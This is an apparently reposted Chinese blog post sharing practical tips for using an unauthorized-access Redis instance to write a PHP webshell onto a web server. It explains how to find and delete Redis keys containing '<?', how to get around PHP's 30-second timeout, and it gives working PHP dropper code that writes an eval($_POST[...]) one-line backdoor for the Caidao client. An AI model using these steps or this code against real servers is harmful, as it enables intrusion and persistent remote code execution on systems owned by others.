最近碰到一个redis未授权访问,想近各种办法最后终于成功了写了webshell,这里写下一点点小经验。

首先,写shell的基本方式,还是按照phithon发的文章,安全脉搏的《利用redis写webshell》

这种方法对于没有存多少数据的redis数据库来说还是很适用的,但是当数据库比较大时,就会遇到一些问题(比如本例中数据库下载下来大小约为200M,还算比较大的)。

首先就是这么大的数据量,里面不可避免会出现这样的字符串“<?”,php遇到这个字符串时就把后面的内容当php脚本解析了,自然会报错,不能运行,对于这个问题,没别的办法,只能找到出错的地方的键值,删掉,然后再写shell。

由于redis是key-value型的数据库,跟mysql之类的关系型数据库还是有很大差距的,所以找键值也是个麻烦事儿,我的办法是先用“randomkey”找几个键值,看一下键值的大概规律,然后,将数据库保存成txt文件下载下来,查找“<?”,在“<?”附近找疑似的键值,最后用命令“keys *str*”找到确切的键值。(”keys *str*“的作用是查找键值内包含字符串“str”的键值)

写完shell之后,问题又来了,这是个200M的php文件,就算能正常运行,访问以下shell也要输出200M的文件,自己的电脑也受不了啊,所以,redis保存得到的文件只能当做中间文件,再用这个中间文件来写shell,具体代码就是

[code lang="php"]
<?php
$fp=fopen('wtf.php','w');
fwrite($fp,'<?php @eval($_POST[\"cmd\"]);?>');
?>
[/code]

访问这个文件就可以生成另外一个wtf.php,然后就可以用菜刀连到wtf.php上。

redis_getshell

然而这并不算完,200M的php文件服务器并不能正常运行,报了个严重错误。

[code lang="php"]
Fatal error: Maximum execution time of 30 seconds exceeded in /data/webdata/db.php on line 2685640
[/code]

程序运行超时了!

这个时候最先想到的是php的”set_time_limit($second)“函数设置second=0就没有运行时间的限制了,不过,要想让这句话器作用,程序应该先得能在30s内执行到这一步,如果这个函数在文件最后面的话,还没执行到,程序就已经die掉了,这个函数并没有什么卵用,所以还得把shell写在文件的前面,具体做法就是在备份出来的文件里找到一个靠前的键值,然后把shell写在这个键值里,

最后,还得记得在shell后面加上一句 “exit();“不然浏览器一下子处理200M的输出,电脑估计得爆了。

所以最终php语句是这样的

[code lang="php"]
<?php
set_time_limit(0);
$fp=fopen('wtf.php','w');
fwrite($fp,'<?php @eval($_POST[\"mmbns233\"]);?>');
exit();
?>
[/code]

【原文:redis写shell的小技巧  作者:

 

源链接

Hacking more

...